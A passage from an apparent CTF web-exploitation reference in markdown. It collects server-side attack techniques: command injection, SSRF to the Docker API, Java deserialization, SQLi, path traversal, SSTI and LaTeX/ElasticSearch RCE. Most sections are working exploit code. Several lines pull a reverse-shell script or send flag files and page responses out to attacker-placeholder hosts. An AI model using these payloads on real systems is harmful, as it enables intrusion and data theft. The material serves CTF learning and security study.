aliases\nforeach ($_GET as $key => $value) {\n $key = $value; // e.g., key=\"_200\", value=\"flag\" → $_200 = $flag\n}\n// Later: echo $_200; // outputs the flag\n```\n\n```bash\n# Supply a \"safe\" output variable name as key, protected variable name as value\ncurl \"http://target/page.php?_200=flag\"\n# PHP executes: $_200 = $flag → flag is now in $_200 which gets echoed\n```\n\n**How to find the output variable:** Look for variables beginning with HTTP status codes (e.g., `$_200`, `$_404`) in the source, or any variable echoed to output that starts with an underscore.\n\n**Key insight:** `$key` creates arbitrary variable aliases; iterating GET/POST params with `$key = $value` lets an attacker redirect protected variables (like `$flag`) into any output variable they control by naming the output variable as the key and the secret variable as the value.\n\n---\n\n## PHP uniqid() Predictable Filename (EKOPARTY 2017)\n\n**Pattern:** PHP's `uniqid()` uses `gettimeofday()` internally. The first 8 hex characters encode the Unix timestamp in seconds, making filenames predictable within a bounded time window.\n\n```php\n// Vulnerable: uses uniqid() to name an uploaded/generated file\n$filename = uniqid() . '_flag.txt';\n// e.g., \"5a1b2c3d4e5f6_flag.txt\" where first 8 chars = hex(unix_timestamp)\n```\n\n```python\nimport requests\nimport time\n\n# Know approximate upload time (from server Date header, challenge hint, etc.)\nstart_ts = int(time.time()) - 60 # 60 second window before now\nend_ts = int(time.time()) + 10\n\nfor ts in range(start_ts, end_ts):\n hex_prefix = format(ts, '08x')\n url = f'http://target/uploads/{hex_prefix}_flag.txt'\n r = requests.get(url)\n if r.status_code == 200:\n print(f\"Found: {url}\")\n print(r.text)\n break\n```\n\n**Narrowing the window:** The server's `Date` response header tells you the server's current time. Record it when triggering file creation; the timestamp in the filename will match that second.\n\n**Key insight:** PHP `uniqid()` first 8 hex chars = Unix timestamp in seconds. The file is fully predictable within a known time window — brute-force is O(seconds in window), typically under 100 requests.\n\n---\n\n## Sequential Regex Replacement Bypass (Tokyo Westerns 2017)\n\n**Pattern:** When a sanitizer applies regex replacements sequentially (not simultaneously), the first replacement can produce a substring that the second replacement should catch — but since the second replacement already ran (or the first runs after the second), the dangerous pattern survives.\n\n```php\n// Vulnerable: replacements run in sequence on the same string\n$input = preg_replace('/on\\w+=\\S+/', '', $input); // pass 1: strip event handlers\n$input = preg_replace('/\u003cscript[^>]*>/', '', $input); // pass 2: strip script tags\n```\n\n```text\n# Embed the dangerous tag inside the blocked pattern so removal reconstructs it:\n# Input: \u003cscr\u003cscript>ipt>\n# Pass 2 strips inner \u003cscript> → leaves: \u003cscript>\n# The outer \"scr...ipt\" scaffolding is reassembled after the inner match is removed.\n```\n\n```bash\n# Practical bypass — embed the dangerous string inside the blocked string:\n# If filter strips \"script\" then strips \"on.*=\":\ncurl \"http://target/\" --data 'input=\u003cimg sron=c onerror=alert(1)>'\n# Pass 1 strips \"onerror=\" leaving \u003cimg src onerror=alert(1)> with partial strip\n# Exact bypass depends on regex — test with variations like:\n# \u003cscr\\x00ipt>, \u003cscr ipt>, embed keyword inside itself\n```\n\n**Key insight:** Sequential regex replacements let pass N reconstruct what pass M already checked. The first replacement produces a pattern the second was designed to catch, but because the second has already run (or the first runs last), the reconstructed dangerous pattern passes through. Always apply sanitization in a single idempotent pass or use a parser-based sanitizer.\n\n---\n\n## Command Injection\n\n### Newline Bypass\n```bash\ncurl -X POST http://target/ --data-urlencode \"target=127.0.0.1\ncat flag.txt\"\ncurl -X POST http://target/ -d \"ip=127.0.0.1%0acat%20flag.txt\"\n```\n\n### Incomplete Blocklist Bypass\nWhen cat/head/less blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt`\nCommon missed: `;` semicolons, backticks, `$()` substitution\n\n### Sendmail Parameter Injection via CGI (SECCON 2015)\n\nWhen CGI scripts pass user input to `sendmail` via `open()` pipe:\n\n```perl\nopen(SH, \"|/usr/sbin/sendmail -bm '$user_input'\");\n```\n\nInject shell commands by breaking out of the quoted context:\n\n```bash\nmail=' -bp|ls SECRETS #\nmail=' -bp|cat SECRETS/backdoor123.php #\n```\n\nThe `-bp` flag forces sendmail into queue-print mode (non-interactive), and `|` pipes to shell. Discovery chain: find `.cgi_bak` backup files to read source → identify injection point → execute commands.\n\n### Multi-Barcode Concatenation to Shell Injection (BSidesSF 2024)\n\nWhen a service processes images containing barcodes (via zbar/zxing), multiple barcodes in one image get concatenated into a single string. Exploit by combining a valid barcode with a malicious Code128 barcode:\n\n1. **Create valid barcode:** Generate UPC/EAN-13 barcode that passes type validation\n2. **Create injection barcode:** Generate Code128 barcode containing shell metacharacters:\n ```text\n test\", \"node\": \"hi'; cat /flag > /tmp/out; #\n ```\n3. **Combine into single image:** `montage valid.png malicious.png -tile 2x1 combined.png`\n4. **Upload:** Scanner reads both barcodes, concatenates values, and passes to a system() call or JSON parser\n\n```bash\n# Generate Code128 barcode with injection payload\npython3 -c \"\nimport barcode\nfrom barcode.writer import ImageWriter\ncode = barcode.get('code128', 'test\\\", \\\"node\\\": \\\"x\\x27; cat /flag >&5; #', writer=ImageWriter())\ncode.save('inject')\n\"\n# Combine with valid UPC barcode\nmontage valid_upc.png inject.png -tile 2x1 -geometry +0+0 payload.png\n```\n\n**Key insight:** Barcode libraries process ALL detected barcodes in an image. Type validation (e.g., \"must be UPC\") may only check the first barcode, while concatenated output from all barcodes flows into downstream processing. This is analogous to HTTP parameter pollution but for visual data.\n\n### Git CLI Newline Injection via URL Path (BSidesSF 2026)\n\n**Pattern (gitfab):** A web-based repository viewer shells out to git CLI using backticks: `` `git show \"#{path}\"` ``. The application sanitizes shell metacharacters (`\u003c`, `>`, `|`, `;`, `&`) but allows newlines. URL-encoded newline (`%0a`) in the path parameter breaks out of the git command and injects arbitrary shell commands.\n\n```text\nGET /file/test%22%0acat%20/home/ctf/flag.txt%0aecho%20%22 HTTP/1.1\n```\n\nDecoded, this becomes:\n```bash\ngit show \"test\"\ncat /home/ctf/flag.txt\necho \"\"\n```\n\n```ruby\nrequire 'httparty'\n\n# URL-encode newline injection\npath = 'test\"%0acat /home/ctf/flag.txt%0aecho \"'\nresponse = HTTParty.get(\"http://target/file/#{URI.encode_www_form_component(path)}\")\nputs response.body\n```\n\n**Key insight:** Newline (`\\n`, `%0a`) is frequently overlooked in command injection filters. While `;`, `|`, and `&` are commonly blocked, newline acts as a command separator in shell and is valid in URLs. Any application that passes URL path components to shell commands via string interpolation (backticks, `system()`, `popen()`) is vulnerable if newlines aren't filtered.\n\n**When to recognize:** Web app interacts with git, svn, or other CLI tools. Source shows shell interpolation with partial sanitization. Test with `%0a` (newline) and `%0d%0a` (CRLF) in URL parameters.\n\n**Defense check:** Does the filter block `\\n` (0x0a)? Does it use allowlists instead of blocklists? Does it use `execve()` (no shell) instead of `system()` (shell)?\n\n---\n\n## GraphQL Injection and Exploitation (Hack.lu CTF 2020, HeroCTF v5)\n\n### Introspection and Schema Discovery\n\n```graphql\n# Full schema enumeration (often left enabled in CTFs)\n{__schema{types{name,fields{name,args{name,type{name}}}}}}\n\n# Shortened introspection query\n{__type(name:\"Query\"){fields{name,type{name,ofType{name}}}}}\n\n# Find all mutations\n{__schema{mutationType{fields{name,args{name,type{name}}}}}}\n\n# Find hidden types\n{__schema{types{name,kind,description}}}\n```\n\n### Query Batching and Aliasing for Rate Limit Bypass\n\n```graphql\n# Execute same mutation N times in single request via aliases\nmutation {\n a1: increaseVote(id: \"target\") { count }\n a2: increaseVote(id: \"target\") { count }\n a3: increaseVote(id: \"target\") { count }\n # ... repeat 1337 times\n}\n\n# Or via array batching (if supported):\n# POST body: [{\"query\":\"mutation{vote(id:\\\"x\\\"){ok}}\"}, {\"query\":\"mutation{vote(id:\\\"x\\\"){ok}}\"}, ...]\n```\n\n### String Interpolation Injection\n\n```javascript\n// Vulnerable server code pattern:\nconst query = `mutation { doAction(input: \"${userInput}\") { result } }`;\n\n// Injection payload:\n// userInput = \") { result } } mutation { adminAction(secret: true) { flag } } #\"\n// Resulting query:\n// mutation { doAction(input: \"\") { result } } mutation { adminAction(secret: true) { flag } } #\") { result } }\n```\n\n**Key insight:** GraphQL combines query language power with REST-like endpoints. Three main attack surfaces: (1) introspection reveals the full API schema, (2) query batching/aliasing bypasses rate limits and multiplies actions, (3) string interpolation in server-side query construction enables injection similar to SQLi.\n\n---\n\n*See also: [server-side-exec.md](server-side-exec.md) for code execution attacks (Ruby/Perl/JS/LaTeX/Prolog injection, PHP preg_replace /e, ReDoS, file upload to RCE, PHP deserialization, XPath injection, Thymeleaf SpEL SSTI), and [server-side-exec-2.md](server-side-exec-2.md) for SQLi keyword fragmentation, SQL WHERE bypass, SQL via DNS, bash brace expansion, Common Lisp injection, PHP7 OPcache, PNG/PHP polyglot upload, and more.*\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15855,"content_sha256":"ce0eb122074072478a42105c81d4f6df2b67e2ebd65f6b184924a633795dc42f"},{"filename":"server-side-advanced-2.md","content":"# CTF Web - Advanced Server-Side Techniques (Part 2)\n\n## Table of Contents\n- [SSRF to Docker API RCE Chain (H7CTF 2025)](#ssrf-to-docker-api-rce-chain-h7ctf-2025)\n- [Castor XML Deserialization via xsi:type Polymorphism (Atlas HTB)](#castor-xml-deserialization-via-xsitype-polymorphism-atlas-htb)\n- [Apache ErrorDocument Expression File Read (Zero HTB)](#apache-errordocument-expression-file-read-zero-htb)\n- [SQLite File Path Traversal to Bypass String Equality (Codegate 2013)](#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013)\n- [HQL Injection via Non-Breaking Space (HackIM 2016)](#hql-injection-via-non-breaking-space-hackim-2016)\n- [Base64-Encoded Path Traversal (Sharif CTF 2016)](#base64-encoded-path-traversal-sharif-ctf-2016)\n- [Windows 8.3 Short Filename Path Traversal Bypass (Tokyo Westerns 2016)](#windows-83-short-filename-path-traversal-bypass-tokyo-westerns-2016)\n- [URL parse_url() @ Symbol Bypass (EKOPARTY CTF 2016)](#url-parse_url--symbol-bypass-ekoparty-ctf-2016)\n- [PHP zip:// Wrapper LFI via PNG/ZIP Polyglot (PlaidCTF 2016)](#php-zip-wrapper-lfi-via-pngzip-polyglot-plaidctf-2016)\n- [XSS to SSTI Chain via Flask Error Pages (SECUINSIDE 2016)](#xss-to-ssti-chain-via-flask-error-pages-secuinside-2016)\n- [INSERT INTO Dual-Field SQLi Column Shift (CyberSecurityRumble 2016)](#insert-into-dual-field-sqli-column-shift-cybersecurityrumble-2016)\n- [Session Cookie Forgery via Timestamp-Seeded PRNG (CyberSecurityRumble 2016)](#session-cookie-forgery-via-timestamp-seeded-prng-cybersecurityrumble-2016)\n- [SSRF via parse_url/curl URL Parsing Discrepancy (33C3 CTF 2016)](#ssrf-via-parse_urlcurl-url-parsing-discrepancy-33c3-ctf-2016)\n- [LaTeX RCE via mpost Restricted write18 Bypass (33C3 CTF 2016)](#latex-rce-via-mpost-restricted-write18-bypass-33c3-ctf-2016)\n- [ElasticSearch Groovy script_fields RCE via SSRF (VolgaCTF 2017)](#elasticsearch-groovy-script_fields-rce-via-ssrf-volgactf-2017)\n- [Rogue MySQL Server LOAD DATA LOCAL File Read (VolgaCTF 2018)](#rogue-mysql-server-load-data-local-file-read-volgactf-2018)\n\nSee also: [server-side-advanced.md](server-side-advanced.md) for Part 1 (ExifTool, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses, Flask/Werkzeug debug, XXE external DTD, WeasyPrint SSRF, MongoDB regex injection, Pongo2 SSTI, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE).\n\n---\n\n## SSRF to Docker API RCE Chain (H7CTF 2025)\n\n**Pattern (Moby Dock):** Web app with SSRF vulnerability exposes unauthenticated Docker daemon API on port 2375. Chain SSRF through an internal proxy endpoint to relay POST requests and achieve RCE.\n\n**Step 1 — Discover internal services via SSRF:**\n```bash\n# Enumerate localhost ports through SSRF\ncurl \"http://target/validate?url=http://localhost:2375/version\"\ncurl \"http://target/validate?url=http://localhost:8090/docs\"\n```\n\n**Step 2 — Extract files from running containers via Docker archive endpoint:**\n```bash\n# List containers\ncurl \"http://target/validate?url=http://localhost:2375/containers/json\"\n\n# Read files from container filesystem (returns tar archive)\ncurl \"http://target/validate?url=http://localhost:2375/v1.51/containers/\u003ccontainer_id>/archive?path=/flag.txt\"\n```\n\n**Step 3 — Execute commands via Docker exec API (requires POST relay):**\n\nWhen SSRF only allows GET requests, find an internal endpoint that can relay POST requests (e.g., `/request?method=post&data=...&url=...`).\n\n```bash\n# 1. Create exec instance\ncurl \"http://target/validate?url=http://localhost:8090/request?method=post\\\n&data={\\\"AttachStdout\\\":true,\\\"Cmd\\\":[\\\"cat\\\",\\\"/flag.txt\\\"]}\\\n&url=http://localhost:2375/v1.51/containers/\u003cid>/exec\"\n# Returns: {\"Id\": \"\u003cexec_id>\"}\n\n# 2. Start exec instance\ncurl \"http://target/validate?url=http://localhost:8090/request?method=post\\\n&data={\\\"Detach\\\":false,\\\"Tty\\\":false}\\\n&url=http://localhost:2375/v1.51/exec/\u003cexec_id>/start\"\n```\n\n**For reverse shell access:**\n```bash\n# 1. Download shell script into container\n# Cmd: [\"wget\", \"http://attacker/shell.sh\", \"-O\", \"/tmp/shell.sh\"]\n\n# 2. Execute with sh (not bash — busybox containers lack bash)\n# Cmd: [\"sh\", \"/tmp/shell.sh\"]\n```\n\n**Key Docker API endpoints for exploitation:**\n| Endpoint | Method | Purpose |\n|----------|--------|---------|\n| `/version` | GET | Confirm Docker API access |\n| `/containers/json` | GET | List running containers |\n| `/containers/\u003cid>/archive?path=\u003cpath>` | GET | Extract files (tar format) |\n| `/containers/\u003cid>/exec` | POST | Create exec instance |\n| `/exec/\u003cid>/start` | POST | Run exec instance |\n| `/images/json` | GET | List available images |\n| `/containers/create` | POST | Create new container |\n\n**Key insight:** Unauthenticated Docker daemons on port 2375 give full container control. When SSRF is GET-only, look for internal proxy or request-relay endpoints that forward POST requests. Use `sh` instead of `bash` in minimal containers (busybox, alpine).\n\n---\n\n## Castor XML Deserialization via xsi:type Polymorphism (Atlas HTB)\n\n**Pattern:** Castor XML `Unmarshaller` without mapping file trusts `xsi:type` attributes, allowing arbitrary Java class instantiation.\n\n**Attack chain:** `xsi:type` → `PropertyPathFactoryBean` + `SimpleJndiBeanFactory` → JNDI/RMI → ysoserial JRMP listener → `CommonsBeanutils1` gadget → RCE\n\n**Requires:** Java 11 (not 17+) — ysoserial gadgets fail on Java 17+ due to module access restrictions.\n\n**XML payload example with Spring beans for RMI callback:**\n```xml\n\u003cdata xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:java=\"http://java.sun.com\">\n \u003citem xsi:type=\"java:org.springframework.beans.factory.config.PropertyPathFactoryBean\">\n \u003ctargetBeanName>\n \u003citem xsi:type=\"java:org.springframework.jndi.support.SimpleJndiBeanFactory\">\n \u003cshareableResources>rmi://ATTACKER:1099/exploit\u003c/shareableResources>\n \u003c/item>\n \u003c/targetBeanName>\n \u003cpropertyPath>foo\u003c/propertyPath>\n \u003c/item>\n\u003c/data>\n```\n\n```bash\n# Start ysoserial JRMP listener\njava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}'\n```\n\n**Key insight:** Castor XML without explicit mapping files is effectively an XML-based deserialization sink. The `xsi:type` attribute acts like Java's `ObjectInputStream` — any class on the classpath can be instantiated. Check `pom.xml` for `castor-xml`, `commons-beanutils`, and `commons-collections` dependencies. JNDI (Java Naming and Directory Interface) via RMI (Remote Method Invocation) provides the callback mechanism.\n\n**Detection:** Java app using Castor XML for deserialization, `castor-xml` in `pom.xml`, `commons-beanutils`/`commons-collections` dependencies.\n\n---\n\n## Apache ErrorDocument Expression File Read (Zero HTB)\n\n**Pattern:** Apache's `ErrorDocument` directive with expression syntax reads files at the Apache level, bypassing PHP engine disable.\n\n**Requires:** `AllowOverride FileInfo` in userdir config.\n\n**Attack chain:**\n1. Upload `.htaccess` to subdirectory via SFTP (Secure File Transfer Protocol):\n```apache\nErrorDocument 404 \"%{file:/etc/passwd}\"\n```\n2. Request a nonexistent URL in that directory to trigger the 404 handler\n3. Read PHP source via `cat -v` to see raw content:\n```apache\nErrorDocument 404 \"%{file:/var/www/html/stats.php}\"\n```\n\n**Key insight:** Works even when `php_admin_flag engine off` disables PHP execution in user directories. The `%{file:...}` expression is evaluated by Apache itself, not PHP — so PHP disable flags are irrelevant.\n\n**Detection:** Apache with `mod_userdir`, `AllowOverride FileInfo`, writable `.htaccess` in subdirectories.\n\n---\n\n## SQLite File Path Traversal to Bypass String Equality (Codegate 2013)\n\n**Pattern:** PHP code blocks a specific input value via string equality check, then interpolates the input into a filesystem path. Path normalization bypasses the string check while resolving to the blocked resource.\n\n**Vulnerable code:**\n```php\nif ($_POST['name'] == \"GM\") die(\"you can not view&save with 'GM'\");\n$db = sqlite_open(\"/var/game_db/gamesim_\" . $_SESSION['scrap'] . \".db\");\n```\n\n**Exploit:** Set `name` to `/../gamesim_GM` — this fails the `== \"GM\"` check, but the constructed path `/var/game_db/gamesim_/../gamesim_GM.db` normalizes to `/var/game_db/gamesim_GM.db`.\n\n```bash\ncurl -X POST -b 'session=...' \\\n -d 'name=/../gamesim_GM' \\\n 'http://target/view.php'\n```\n\n**Key insight:** String equality checks on user input are bypassed whenever the input is later used in a filesystem path that undergoes normalization. The `../` sequence is invisible to string comparison but resolved by the OS. Look for this pattern wherever user input is both validated by string comparison and interpolated into file paths, database paths, or URLs.\n\n---\n\n## HQL Injection via Non-Breaking Space (HackIM 2016)\n\nHibernate Query Language blocks subqueries. Bypass by exploiting character encoding mismatch between HQL parser and underlying database (H2):\n\n- HQL parser treats non-breaking space (U+00A0) as a regular character (concatenates tokens into one word)\n- H2 database interprets U+00A0 as whitespace (separates tokens normally)\n\n**Key insight:** Replace spaces in SQL subqueries with U+00A0 to smuggle them past HQL validation.\n\n```python\nval = u'\\u00a0' # non-breaking space\n# HQL sees: \"selectXflagXfromXflagXlimitX1\" (one token)\n# H2 sees: \"select flag from flag limit 1\" (valid SQL)\npayload = u\"' and (cast(concat('->', (select{0}flag{0}from{0}flag{0}limit{0}1)) as int))=0 or ''='\".format(val)\n```\n\nError-based extraction: cast result to int triggers error containing the flag value.\n\n---\n\n## Base64-Encoded Path Traversal (Sharif CTF 2016)\n\nWhen file inclusion uses base64-encoded filenames as parameters:\n\n```text\nfile.php?page=aGVscC5wZGY= (decodes to \"help.pdf\")\n```\n\nEncode traversal payloads in base64:\n\n```python\nimport base64\n# ../index.php\nprint(base64.b64encode(b\"../index.php\").decode()) # Li4vaW5kZXgucGhw\n# ../../etc/passwd\nprint(base64.b64encode(b\"../../etc/passwd\").decode()) # Li4vLi4vZXRjL3Bhc3N3ZA==\n```\n\n**Key insight:** Base64 encoding absorbs path traversal characters (`../`) that filters might block in raw form.\n\n---\n\n## Windows 8.3 Short Filename Path Traversal Bypass (Tokyo Westerns 2016)\n\nOn Windows, files with long names have auto-generated 8.3 short name aliases. When a blacklist checks the full filename, the short name bypasses the filter.\n\n```text\n# Blacklisted file: file_list (e.g., readfile('file_list') is blocked)\n# Windows 8.3 short name: file_l~1\n\n# Bypass:\nGET /read?file=file_l~1\n\n# How 8.3 names are generated:\n# - First 6 chars of name (minus spaces/special chars) + ~1\n# - Extension truncated to 3 chars\n# Examples:\n# \"file_list.txt\" -> \"FILE_L~1.TXT\"\n# \"longfilename.html\" -> \"LONGFI~1.HTM\"\n# \"program files\" -> \"PROGRA~1\"\n\n# Discovery: use dir /x on Windows to list short names\n# dir /x C:\\path\\to\\files\\\n```\n\n**Key insight:** Windows NTFS auto-generates 8.3 short filenames for compatibility. Blacklists checking full filenames miss the short alias. This bypass works on any Windows web server (IIS, WAMP, etc.) where 8.3 name generation is enabled (default).\n\n---\n\n## URL parse_url() @ Symbol Bypass (EKOPARTY CTF 2016)\n\nPHP's `parse_url()` treats the `@` symbol as a userinfo delimiter, interpreting everything before `@` as credentials and everything after as the host. This enables URL validation bypass.\n\n```php\n// Server validates URL host must be ctf.example.com\n// parse_url(\"http://[email protected]/\")\n// -> host: ctf.example.com (passes validation)\n\n// But wget/curl follow RFC and connect to attacker.com:\n// wget \"http://[email protected]/\"\n// -> Actually connects to: attacker.com\n\n// Exploit for URL shortener/fetcher:\n$url = \"http://{$attacker_ip}@ctf.ekoparty.org/?\";\n// parse_url() sees host = ctf.ekoparty.org (passes whitelist)\n// wget connects to $attacker_ip (attacker-controlled)\n\n// Check attacker's Apache logs for the flag in User-Agent or request\n```\n\n**Key insight:** `parse_url()` and actual HTTP clients (wget, curl, browsers) disagree on how to handle `@` in URLs. `parse_url()` extracts the host after `@`, while HTTP clients may connect to the host before `@`. This SSRF vector bypasses domain whitelist validation.\n\n---\n\n## PHP zip:// Wrapper LFI via PNG/ZIP Polyglot (PlaidCTF 2016)\n\n**Pattern (pixelshop):** PHP `include()` appends `.php` extension (no null byte on modern PHP). Upload is restricted to valid images (.png). Use `zip://` wrapper to include PHP code from inside a ZIP archive embedded in a PNG file.\n\n1. Use `php://filter/read=convert.base64-encode/resource=` to leak source files and understand the include logic\n2. Upload a valid PNG image to get a known filename on the server\n3. Inject a ZIP archive into the PNG's palette data (ZIP format reads headers from the end of the file, so a valid PNG can simultaneously be a valid ZIP):\n\n```python\nimport binascii, requests, struct\n\ndef craft_png_zip_polyglot(php_payload):\n \"\"\"Craft a ZIP payload to inject into PNG palette bytes.\"\"\"\n # ZIP stores its central directory at the end of the file\n # Calculate offsets based on the known PNG prefix length\n # The ZIP's local file header offset points into the palette region\n # php_payload goes inside the ZIP as \"s.php\"\n\n # Pre-built ZIP with s.php containing: \u003c?=`$_GET[a]`?>\n zip_hex = (\n \"504B0304140000000800\" # Local file header\n # ... compressed PHP shell ...\n \"504B01021400140000000800\" # Central directory\n # ... points back to local header at palette offset ...\n \"504B0506000000000100010033000000690000000000\" # End of central directory\n )\n return zip_hex\n\ndef inject_payload(image_key, payload_hex):\n \"\"\"Use the image editor API to set palette bytes containing the ZIP.\"\"\"\n palette_bytes = binascii.unhexlify(payload_hex)\n # Convert to RGB triplets for palette API\n colors = []\n for i in range(0, len(palette_bytes), 3):\n chunk = palette_bytes[i:i+3].ljust(3, b'\\x00')\n colors.append(f'\"#{chunk[0]:02x}{chunk[1]:02x}{chunk[2]:02x}\"')\n palette_json = \",\".join(colors)\n # POST to save endpoint with crafted palette\n requests.post(f\"{base_url}?op=save\", data={\n \"imagekey\": image_key,\n \"savedata\": f'{{\"pal\": [{palette_json}], \"im\": [{\",\".join([\"0\"]*1024)}]}}'\n })\n```\n\n4. Include the embedded PHP file via zip:// wrapper:\n```text\nhttp://target/?op=zip://uploads/HASH.png%23s\n```\nThis unzips `HASH.png` (which is also a valid ZIP) and includes `s.php` from inside it.\n\n**Key insight:** ZIP files store their central directory at the end, so any file format can have a valid ZIP appended (or embedded) without breaking the original format. The `zip://` PHP wrapper ignores file extensions and extracts by content. PNG palette data provides controllable consecutive bytes ideal for embedding small ZIP payloads. This bypasses: (a) file extension restrictions (.php → .png), (b) image validation (file remains a valid PNG), (c) metadata stripping (palette data is structural, not metadata).\n\n---\n\n## XSS to SSTI Chain via Flask Error Pages (SECUINSIDE 2016)\n\n**Pattern (SBBS):** Flask app renders 404 error messages using `render_template_string()` with the request URL interpolated. Error pages only appear for localhost requests. Chain XSS → localhost fetch → SSTI in error page.\n\n1. Flask error handler directly interpolates URL into template:\n```python\[email protected](404)\ndef not_found(e=None):\n message = \"%s was not found on the server.\" % request.url\n return render_template_string(template % message), 404\n```\n\n2. Error pages only render for 127.0.0.1 (external IPs get nginx 404)\n\n3. XSS payload triggers localhost request with SSTI in the URL:\n```javascript\n\u003cscript>\nfunction hack(url, callback){\n var x = new XMLHttpRequest();\n x.onreadystatechange = function(){\n if (x.readyState == 4)\n window.open('http://attacker.com/exfil?' + x.responseText, '_self', false)\n }\n x.open(\"GET\", url, true);\n x.send();\n}\nhack(\"/{{ config.from_object('admin.app') }}{{ config.FLAG }}\")\n\u003c/script>\n```\n\n4. `config.from_object('module.path')` loads application config including secrets\n\n**Key insight:** Flask's template globals don't directly expose the `app` object, but `config.from_object()` can load arbitrary Python modules into the config dict, making their attributes accessible via `{{ config.KEY }}`. The XSS-to-SSTI chain bypasses two restrictions: (a) SSTI only works on localhost error pages, (b) template globals lack direct app access. Look for `render_template_string()` with user-controlled input in error handlers.\n\n---\n\n## INSERT INTO Dual-Field SQLi Column Shift (CyberSecurityRumble 2016)\n\n**Pattern (Illuminati):** INSERT query with two injectable fields (subject: 40-char limit, message: unlimited). Chain injections across both fields to bypass the length restriction.\n\n```sql\n-- Original query:\nINSERT INTO requests (id, \"$subject\", \"$message\")\n\n-- Subject (40 chars max):\ntheSubject\",concat(\n\n-- Message (unlimited):\n,(select group_concat(table_name) from information_schema.tables)))#\n\n-- Result:\nINSERT INTO requests (id, \"theSubject\",concat(\"\",(select group_concat(...))))#\"...\")\n```\n\nThe `concat(\"\", (select ...))` wraps the subquery result as a string value for the subject column, making it visible when the user views their own messages.\n\n**Key insight:** When an INSERT query has multiple injectable fields but one is length-limited, use the limited field to open a `concat(` expression and the unlimited field to close it with an arbitrary subquery. This \"column shift\" technique moves the data extraction from the length-restricted field to the unrestricted one. Also works with `CASE WHEN` or other SQL expressions that span across field boundaries.\n\n---\n\n## Session Cookie Forgery via Timestamp-Seeded PRNG (CyberSecurityRumble 2016)\n\n**Pattern (Illuminati):** Session cookies constructed as `random_int-user_id`, where `random_int` is seeded by the user's last login timestamp. Extract the admin's timestamp via SQLi, reproduce the PRNG to forge their cookie.\n\n```python\nimport random\n\n# 1. Extract admin login timestamp via SQLi\nadmin_timestamp = 1229569179 # from: SELECT last_login FROM users WHERE id=209\n\n# 2. Seed PRNG with timestamp\nrandom.seed(admin_timestamp)\n\n# 3. Generate the same random int the server produced\ncookie_random = random.randint(0, 2**31)\n\n# 4. Forge admin cookie\nadmin_cookie = f\"{cookie_random}-209\"\n# Result: \"1229569179-209\"\n```\n\n**Key insight:** Timestamps used as PRNG seeds for session tokens create a deterministic oracle. If the login timestamp is leaked (via SQLi, error messages, or API responses), the full token is reproducible. This pattern appears whenever session randomness depends on a single predictable seed value (time, PID, counter). Check for `random.seed(time())` or `srand(time(NULL))` in session generation code.\n\n---\n\n## SSRF via parse_url/curl URL Parsing Discrepancy (33C3 CTF 2016)\n\n**Pattern (list0r):** PHP `parse_url()` and curl interpret URLs with multiple `@` symbols differently. The URL `http://what:[email protected]:[email protected]/path` causes PHP to see `host = allowed.host` (passing a CIDR/domain whitelist check), while curl resolves to `127.0.0.1:80` (treating the second `@` as literal), achieving SSRF to localhost.\n\n```php\n// PHP parse_url behavior:\nparse_url(\"http://what:[email protected]:[email protected]/path\");\n// => ['host' => 'allowed.host', 'user' => 'what', ...]\n\n// curl behavior with same URL:\n// Connects to 127.0.0.1:80 (first @ delimits credentials)\n// \"[email protected]:80\" parsed as password, but curl connects to first IP\n\n// Exploit: bypass CIDR blacklist by making parse_url see whitelisted host\n$url = \"http://x:[email protected]:80@\" . $allowed_domain . \"/secret/flag\";\n// parse_url sees $allowed_domain -> passes check\n// curl connects to 127.0.0.1:80 -> SSRF achieved\n```\n\n**Key insight:** URL parsers disagree on how to handle multiple `@` symbols. This is distinct from the single-`@` bypass (EKOPARTY 2016) — here the double-`@` exploits a different parsing ambiguity where `parse_url` takes the last `@` as the userinfo delimiter while curl uses the first. Test both variants when facing URL-based SSRF filters.\n\n---\n\n## LaTeX RCE via mpost Restricted write18 Bypass (33C3 CTF 2016)\n\n**Pattern (pdfmaker):** When `pdflatex` runs with `write18` in restricted mode (only whitelisted commands like `mpost` allowed), exploit `mpost`'s `-tex` flag to specify an alternative TeX processor — setting it to `bash -c (command)` achieves shell execution. Use `${IFS}` as space replacement since mpost's argument parsing strips spaces.\n\n```latex\n% Create a MetaPost file via LaTeX\n\\begin{filecontents}{test.mp}\nbeginfig(1); endfig; end;\n\\end{filecontents}\n\n% Execute mpost with bash as the \"TeX processor\"\n\\immediate\\write18{mpost -ini \"-tex=bash -c (cat${IFS}/flag)>out.log\" \"test.mp\"}\n\n% Read the output back into the PDF\n\\input{out.log}\n```\n\n**Key insight:** `mpost` is whitelisted by restricted `write18` because it's needed for MetaPost diagrams. But its `-tex` flag allows specifying an arbitrary program as the \"TeX processor,\" including `bash`. This transforms a restricted shell escape into full RCE. `${IFS}` replaces spaces to work within the quoted argument.\n\n---\n\n## ElasticSearch Groovy script_fields RCE via SSRF (VolgaCTF 2017)\n\n**Pattern:** When SSRF reaches an internal ElasticSearch instance (default port 9200), Groovy scripting in `script_fields` enables remote code execution. ElasticSearch versions before 5.0 allowed inline Groovy scripts by default.\n\n```bash\n# SSRF payload to ElasticSearch internal API\ncurl 'http://localhost:9200/_search' -d '{\n \"script_fields\": {\n \"exec\": {\n \"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"id\\\").getText()\"\n }\n }\n}'\n\n# Read a specific file\ncurl 'http://localhost:9200/_search' -d '{\n \"script_fields\": {\n \"read\": {\n \"script\": \"new java.io.File(\\\"/flag.txt\\\").text\"\n }\n }\n}'\n\n# For blind RCE, exfiltrate via curl upload\ncurl 'http://localhost:9200/_search' -d '{\n \"script_fields\": {\n \"exfil\": {\n \"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"curl --upload-file /flag attacker.com:4042\\\").getText()\"\n }\n }\n}'\n```\n\n**Via SSRF (URL-encoded for GET parameter):**\n```python\nimport requests\nimport urllib.parse\n\nes_payload = '{\"script_fields\":{\"exec\":{\"script\":\"new java.io.File(\\\\\"/flag.txt\\\\\").text\"}}}'\nssrf_url = 